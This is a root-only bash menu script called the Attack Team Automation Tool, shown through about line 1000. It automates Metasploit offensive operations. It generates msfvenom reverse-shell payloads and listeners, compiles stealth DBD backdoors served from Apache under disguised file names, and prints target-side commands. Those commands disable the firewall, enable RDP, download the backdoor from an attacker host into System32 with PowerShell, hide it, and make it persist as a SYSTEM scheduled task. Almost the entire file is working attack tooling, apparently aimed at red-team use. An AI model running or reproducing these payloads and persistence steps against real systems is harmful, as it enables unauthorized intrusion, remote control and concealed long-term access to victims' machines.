-
Notifications
You must be signed in to change notification settings - Fork 1
/
ATAT.sh
executable file
·1654 lines (1591 loc) · 84.2 KB
/
ATAT.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# ..................
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to start your ATAT"; exit 1; }
resize -s 150 150
clear # Clear the screen.
SERVICE=Postgresql;
secs=$(date '+%S');
if service postgresql status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service postgresql start
fi
SERVICE1=Metasploit;
if ps ax | grep -v grep | grep metasploit > /dev/null
then
echo "$SERVICE1 service running"
else
echo "$SERVICE1 is not running, Starting service."
service metasploit start
fi
mkdir ~/Desktop/temp
clear
clear
echo -e "\E[1;34m==========================================================="
echo -e "\E[1;34m============== \e[97mMetasploit services started \E[1;34m================"
echo -e "\E[1;34m:::::::::::::\e[97mScripts saved to ~/Desktop/temp/\E[1;34m::::::::::::::"
echo -e "\E[1;34m::::::::\e[97mPayloads & Results saved to ~/ATAT-chroot/\E[1;34m:::::::::"
echo -e "\E[1;34m==========================================================="
read -p "Press [Enter] key to Continue..."
clear
echo -e "\E[1;34m=============== \e[97mAttack Team Automation Tool \E[1;34m=============="
if [ 0 -le $secs ] && [ $secs -le 14 ];
then
cat << "EOF"
_________________________________
|:::::::::::::;;::::::::::::::::::|
|:::::::::::'~||~~~``:::::::::::::|
|::::::::' .': o`:::::::::::| By |||3N1GmA|||
|:::::::' oo | |o o ::::::::::|
|::::::: 8 .'.' 8 o :::::::::|
|::::::: 8 | | 8 :::::::::|
|::::::: _._| |_,...8 :::::::::|
|::::::'~--. .--. `. `::::::::|
|:::::' =8 ~ \ o ::::::::| "I Find Your
|::::' 8._ 88. \ o::::::::| Lack of Faith
|:::' __. ,.ooo~~. \ o`::::::| Disturbing"
|::: . -. 88`78o/: \ `:::::|
|::' /. o o \ :: \88`::::|
|:; o|| 8 8 |d. `8 `:::|
|:. - ^ ^ -' `-`::|
|::. .:::|
|:::::..... ::' ``::|
|::::::::-' - 88 `|
|:::::-'. - :: |
|:-~. . . : |
| .. . ..: o:8 88o |
|. . ::: 8:P d888. . . |
|. . :88 88 888' . . |
| o8 d88P . 88 ' d88P .. |
| 88P 888 d8P ' 888 |
| 8 d88P.'d:8 .- dP~ o8 |
| 888 888 d~ o888 |
|_________________________________|
EOF
elif [ 15 -le $secs ] && [ $secs -le 30 ];
then
cat << "EOF"
________________
|'-.--._ _________:
| / | __ __\
| | _ | [\_\= [\_\
| |.' '. \.........| By ||3N1GmA||
| ( <) ||: :|_
\ '._.' | :.....: |_(o
'-\_ \ .------./
_ \ ||.---.|| _
/ \ '-._|/\n~~\n' | \
(| []=.--[===[()]===[) |
<\_/ \_______/ _.' /_/
/// (_/_/
|\\ [\\
||:| | I|
|::| | I|
||:| | I|
||:| : \:
|\:| \I|
:/\: ([])
([]) [|
|| |\_
_/_\_ [ -'-.__
<] \> \_____.>
\__/
EOF
elif [ 31 -le $secs ] && [ $secs -le 45 ];
then
cat << "EOF"
________
_,.-Y | | Y-._
.-~" || | | | "-.
I" ""=="|" !""! "|"[]""| _____
L__ [] |..------|: _[----I" .-{"-.
I___| ..| l______|l_ [__L]_[I_/r(=}=-P
[L______L_[________]______j~ '-=c_]/=-^
\_I_j.--.\==I|I==_/.--L_]
[_((==)[`-----"](==)j
I--I"~~"""~~"I--I
|[]| |[]| By |||3N1GmA|||
l__j l__j
|!!| |!!|
|..| |..|
([]) ([])
]--[ ]--[
[_L] [_L]
/|..|\ /|..|\
`=}--{=' `=}--{='
.-^--r-^-. .-^--r-^-. Imperial AT-AT
EOF
elif [ 46 -le $secs ] && [ $secs -le 57 ];
then
cat << "EOF"
._,.
"..-..pf. By ||3N1GmA||
-L ..#'
.+_L ."]#
,'j' .+.j` -'.__..,.,p.
_~ #..<..0. .J-.``..._f.
.7..#_.. _f. .....-..,`4'
;` ,#j. T' .. ..J....,'.j`
.` .."^.,-0.,,,,yMMMMM,. ,-.J...+`.j@
.'.`...' .yMMMMM0M@^=`""g.. .'..J..".'.jH
j' .'1` q'^)@@#"^".`"='BNg_...,]_)'...0-
.T ...I. j" .'..+,_.'3#MMM0MggCBf....F.
j/.+'.{..+ `^~'-^~~""""'"""?'"``'1`
.... .y.} `.._-:`_...jf
g-. .Lg' ..,..'-....,'.
.'. .Y^ .....',].._f
......-f. .-,,.,.-:--&`
.`...'..`_J`
.~......'#'
'..,,.,_]`
.L..`..``.
EOF
else
cat << "EOF"
. . .
. . . :::::+::::... . . .
. . ..::.:::+++++:::+++++:+::. . .
.:. ..:+:..+|||+..::|+|+||++|:. . .
. . :::....:::::::::++||||O||O#OO|OOO|+|:. . .
. .:..:..::+||OO#|#|OOO+|O||####OO###O+:+|+ .
.:...:+||O####O##||+|OO|||O#####O#O||OO|++||: . .
..::||+++|+++++|+::|+++++O#O|OO|||+++..:OOOOO|+ .
+++||++:.:++:..+#|. ::::++|+++||++O##O+:.++|||#O+ .
. ++++++++...:+:+:.:+: ::..+|OO++O|########|++++||##+
:::+++|O+||+::++++:::+:::+++::+|+O###########OO|:+OO
+:+++|OO+|||O:+:::::.. .||O#OOO||O||#@###@######:+|O| .
::+:++|+|O+|||++|++|:::+O#######O######O@############O
++++: .+OO###O++++++|OO++|O#@@@####@##################
::::::::::::::::::::++|O+..+#|O@@@@#@###O|O#O##@#OO###
:. .:.:. .:.:.: +.:::::::: . +#:#@:#@@@#O||O#O@:###:#
By 3N|GmA `. .:.:.:.:. . :.:.:%::%%%:::::%::::%::
`.:.:.:.: :.:.:.:.
EOF
fi
tput sgr0 #
echo -e "\e[31m___________________[ \e[97mChoose Your Destiny \e[31m]__________________"
echo -e "\E[1;34m::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e "\E[1;34m===\e[97m[1] \e[90mPayload \e[97m [Create MSFVenom Payload] \E[1;34m"
tput sgr0 # Reset colors to "normal."
echo -e "\E[1;34m:::\e[97m[2] \e[32mListen \e[97m [Start a Listener] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[3] \e[34mMsfconsole \e[97m [Drop into msfconsole]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[4] \e[95mPersistence \e[97m [Create a Persistence Method] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[5] \e[31mArmitage \e[97m [Launch the Armitage GUI] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[6] \e[90mMulti-Target Exploit \e[97m [1 Exploit @ Many Targets] \E[1;34m"
tput sgr0 # Reset attributes.
echo -e "\E[1;34m===\e[97m[7] \e[32mAuxiliary & Scanning \e[97m [Aux & Scans @ Many Targets] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[8] \e[34mDependency Checker \e[97m[Check For Dependencies] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[9] \e[95mEmpire & DeathStar \e[97m [Bow Before Your Emperor] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[10]\e[31mWireless Attacks \e[97m[Rule The Airwaves] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[11]\e[90mPost Exploitation \e[97m[Loot & Profit] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[12]\e[32mMake Your Escape \e[97m [Float Away w/ the Garbage] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[13]\e[34mPrivilege Escalation \e[97m[PrivEsc Options & Techniques] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[00]\e[95mReset & Recharge \e[97m[Remove All Scan Results] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[0] \e[31mExit \e[97m[Exit ATAT] \E[1;34m"
tput sgr0
#echo -e "\E[1;34m===\e[97m[15]\e[31mMasscan All TCP Ports \e[97m[Masscan all TCP Ports on Many Targets] \E[1;34m"
#tput sgr0
echo -e "\E[1;34m::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e "\e[97m~~~~~~~~~~~~ \e[31mProps to rand0m1ze for the concept!\e[97m~~~~~~~~~~~~\e[31m"
tput sgr0
read options
case "$options" in
# Note variable is quoted.
"1" | "1" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mChoose Your Weapon\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 8=Main Menu | 9=QUIT: '
options=("Windows" "Linux" "Mac" "Android" "List_All" "Custom" "All The Payloads" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Windows")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f exe > ~/Desktop/temp/shell.exe
echo -e "\E[1;34m::::: \e[97mshell.exe saved to ~/ATAT/\E[1;34m:::::"
;;
"Linux")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f elf > ~/Desktop/temp/shell.elf
echo -e "\E[1;34m::::: \e[97mshell.elf saved to ~/ATAT/\E[1;34m:::::"
;;
"Mac")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$uservar LPORT=$userport -f macho > ~/Desktop/temp/shell.macho
echo -e "\E[1;34m::::: \e[97mshell.macho saved to ~/ATAT/\E[1;34m:::::"
;;
"Android")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p android/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport R > ~/Desktop/temp/shell.apk
echo -e "\E[1;34m::::: \e[97mshell.apk saved to ~/ATAT/\E[1;34m:::::"
;;
"Custom")
cat << "EOF"
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Rather than putting <DOMAIN/IP>, you can input an interface and ATAT will detect that IP address.
EOF
read -p 'Set DOMAIN/IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set TYPE: ' usertype; read -p 'Select CMD/MSF: ' usershell; read -p 'Set BIND/REVERSE: ' userbindrev; read -p 'Set STAGED/STAGELESS: ' userstage; read -p 'Select TCP/HTTP/HTTPS/FIND_PORT: ' userprotocol; read -p 'Select BATCH/LOOP (optional): ' usermode
/usr/bin/msfpc $usertype $userhost $userport $usershell $userbindrev $userstage $userprotocol $usermode verbose
echo -e "\E[1;34m::::: \e[97mPayload & RC File Saved to ~/ATAT/\E[1;34m:::::"
;;
"All The Payloads")
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport
/usr/bin/msfpc verbose loop $userhost $userport
echo -e "\E[1;34m::::: \e[97mPayloads & RC Files Saved to ~/ATAT/\E[1;34m:::::"
;;
"List_All")
rm msfvenom_payloads.txt
msfvenom -l | tee msfvenom_payloads.txt
echo -e "\E[1;34m::::: \e[97mmsfvenom_payloads.txt Saved to ~/ATAT/\E[1;34m:::::"
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"2" | "2" )
echo -e "\E[1;34m::::: \e[97mCreate a Listener\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 2=Main Menu | 3=QUIT: '
options=("Options" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Options")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter.rc
# echo set AutoRunScript post/multi/gather/multi_command RESOURCE=/root/ATAT/postex.rc >> ~/Desktop/temp/meterpreter.rc
# echo set AutoRunScript /root/ATAT/ATAT_multi_post.rc >> ~/Desktop/temp/meterpreter.rc
echo exploit -j >> ~/Desktop/temp/meterpreter.rc
cat ~/Desktop/temp/meterpreter.rc
msfconsole -r ~/Desktop/temp/meterpreter.rc &
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"3" | "3" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mStarting Metasploit \E[1;34m:::::"
msfconsole
;;
"4" | "4" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mPersistence Generator \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mBind Shells are a Work in Progress \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mThanks to Skysploit for the DBD Builder!! \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 7=Main Menu | 8=QUIT: '
options=("Windows DBD Reverse Shell" "Windows DBD Bind Shell" "Linux/NetBSD/FreeBSD/OpenBSD DBD Reverse Shell" "Linux/NetBSD/FreeBSD/OpenBSD DBD Bind Shell" "DBD Reboot Persistence Generator - Windows" "Android" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Windows DBD Reverse Shell")
clear
read -p "Where shall I send your persistent shell? (LHOST)" attackerip
echo ""
read -p "What port will you be listening on? (LPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sed "/HOST/s/attackerip/$attackerip/g" ~/ATAT/misc/dbd/conf/dbd_win_reverse.conf > ~/ATAT/misc/dbd/dbd_win_reverse1.conf
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/dbd_win_reverse1.conf > ~/ATAT/misc/dbd/dbd_win_reverse2.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_win_reverse2.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_win_reverse1.conf
rm ~/ATAT/misc/dbd/dbd_win_reverse2.conf
cd ~/ATAT/misc/dbd/
make mingw-cross CFLAGS=-DSTEALTH
cp ~/ATAT/misc/dbd/dbd.exe /var/www/html/winmgnt.txt
cp ~/ATAT/taskmgnt.txt /var/www/html/taskmgnt.txt
chown www-data:www-data /var/www/html/winmgnt.txt
chown www-data:www-data /var/www/html/taskmgnt.txt
service apache2 start
clear
#rm dbd.exe
cd ~/ATAT
echo "Starting Apache server to host payloads..."
echo -e "\e[1;34mDone! Your payload is located at /var/www/html/winmgnt.txt (change to EXE for manual deployment)\e[0m"
echo ""
read -p "Would you like me to launch a listener [y|n]? " listener
echo ""
if [ "$listener" == "y" ]; then
x-terminal-emulator -e dbd -lvp $attackerport -k $attackersecret &
read -p "Press any key to contiue" enter
clear
else
echo -e "\e[1;34mWhen you are ready to receive your shell in your terminal enter:\e[0m"
echo "dbd -lvp $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
fi
echo "While this backdoor is self healing; it will not auto start at reboot."
echo "To get your shell back after a reboot, open the firewall, & enable RDP, enter the following on the target (commands in RED, one command per line):"
echo ""
echo "INSTRUCTIONS FROM A WINDOWS TERMINAL SHELL:"
echo -e "\E[1;34m\e[97m \e[31mnetsh firewall set opmode disable\e[97m - This disables the firewall totally (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\e[97m- This enables RDP, step 1 (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fAllowToGetHelp /t REG_WORD /d 1 /f\e[97m - This enables RDP, step 2 (optional depending on target/goals)\E[1;34m"
echo ""
echo "Now move the \"taskmgnt.txt\" & \"winmgnt.txt\" files to the target, rename & hide them, then launch backdoor with MS signed ofuscated PsExec. Run the first 3 delete & kill commands to remove the files first; only if you have already moved them to the target and you wish to re-run this process."
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mtaskkill /F /IM winmgnt.exe\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/winmgnt.txt','%WINDIR%\System32\winmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/taskmgnt.txt','%WINDIR%\System32\\\taskmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31m%WINDIR%\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\System32\winmgnt.exe\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mschtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo "INSTRUCTIONS FROM A METERPRETER SHELL:"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mupload '/root/ATAT/DBD_reboot.bat' %WINDIR%\\\\\System32\\\\\DBD_reboot.bat\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mshell\e[97m\E[1;34m"
echo "Now from the Windows Terminal:"
echo -e "\E[1;34m\e[97m \e[31mcd\windows\system32\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mDBD_reboot.bat\e[97m\E[1;34m"
;;
"Windows DBD Bind Shell")
read -p "What port would you like the victim be listening on? (RPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/conf/dbd_win_bind.conf > ~/ATAT/misc/dbd/dbd_win_bind1.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_win_bind1.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_win_bind1.conf
cd ~/ATAT/misc/dbd/
make mingw-cross CFLAGS=-DSTEALTH
cp ~/ATAT/misc/dbd/dbd.exe /var/www/html/winmgnt.txt
cp ~/ATAT/taskmgnt.txt /var/www/html/taskmgnt.txt
chown www-data:www-data /var/www/html/winmgnt.txt
chown www-data:www-data /var/www/html/taskmgnt.txt
service apache2 start
clear
#rm dbd.exe
cd ~/ATAT
echo "Starting Apache server to host payloads..."
echo -e "\e[1;34mDone! Your payload is located at /var/www/html/winmgnt.txt (change to EXE for manual deployment)\e[0m"
echo ""
echo -e "\e[1;34mWhen you are ready to connect to the victim, in your terminal enter:\e[0m"
echo "dbd -nv victim.host.orip -p $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
echo "While this backdoor is self healing; it will not auto start at reboot."
echo "To get your shell back after a reboot, open the firewall, & enable RDP, enter the following on the target (commands in RED, one command per line):"
echo ""
echo "INSTRUCTIONS FROM A WINDOWS TERMINAL SHELL:"
echo -e "\E[1;34m\e[97m \e[31mnetsh firewall set opmode disable\e[97m - This disables the firewall totally (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\e[97m- This enables RDP, step 1 (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fAllowToGetHelp /t REG_WORD /d 1 /f\e[97m - This enables RDP, step 2 (optional depending on target/goals)\E[1;34m"
echo ""
echo "Now move the \"taskmgnt.txt\" & \"winmgnt.txt\" files to the target, rename & hide them, then launch backdoor with MS signed ofuscated PsExec. Run the first 3 delete & kill commands to remove the files first; only if you have already moved them to the target and you wish to re-run this process."
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mtaskkill /F /IM winmgnt.exe\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/winmgnt.txt','%WINDIR%\System32\winmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/taskmgnt.txt','%WINDIR%\System32\\\taskmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31m%WINDIR%\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\System32\winmgnt.exe\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mschtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo "INSTRUCTIONS FROM A METERPRETER SHELL:"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mupload '/root/ATAT/DBD_reboot.bat' %WINDIR%\\\\\System32\\\\\DBD_reboot.bat\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mshell\e[97m\E[1;34m"
echo "Now from the Windows Terminal:"
echo -e "\E[1;34m\e[97m \e[31mcd\windows\system32\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mDBD_reboot.bat\e[97m\E[1;34m"
;;
"Linux/NetBSD/FreeBSD/OpenBSD DBD Reverse Shell")
clear
read -p "Where shall I send your persistent shell? (LHOST)" attackerip
echo ""
read -p "What port will you be listening on? (LPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/HOST/s/attackerip/$attackerip/g" ~/ATAT/misc/dbd/conf/dbd_unix_reverse.conf > ~/ATAT/misc/dbd/dbd_unix_reverse1.conf
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/dbd_unix_reverse1.conf > ~/ATAT/misc/dbd/dbd_unix_reverse2.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_unix_reverse2.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_unix_reverse1.conf
rm ~/ATAT/misc/dbd/dbd_unix_reverse2.conf
cd ~/ATAT/misc/dbd/
make unix
chmod +x dbd
cp ~/ATAT/misc/dbd/dbd /var/www/html
chown www-data:www-data /var/www/html/dbd
echo "Starting Apache server to host payloads..."
service apache2 start
#rm dbd
#clear
cd ~/ATAT
echo -e "\e[1;34mDone! Your payload is located at /var/www/html...\e[0m"
echo ""
read -p "Would you like me to launch a listener [y|n]? " listener
echo ""
if [ "$listener" == "y" ]; then
x-terminal-emulator -e dbd -lvp $attackerport -k $attackersecret &
read -p "Press any key to contiue" enter
clear
else
echo -e "\e[1;34mWhen you are ready to receive your shell in your terminal enter:\e[0m"
echo "dbd -lvp $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
fi
;;
"Linux/NetBSD/FreeBSD/OpenBSD DBD Bind Shell")
clear
read -p "What port would you like the victim be listening on? (RPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/HOST/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/conf/dbd_unix_bind.conf > ~/ATAT/misc/dbd/dbd_unix_bind1.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_unix_bind1.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_unix_bind1.conf
cd ~/ATAT/misc/dbd/
make unix
chmod +x dbd
cp ~/ATAT/misc/dbd/dbd /var/www/html
chown www-data:www-data /var/www/html/dbd
echo "Starting Apache server to host payloads..."
service apache2 start
#rm dbd
clear
cd ~/ATAT
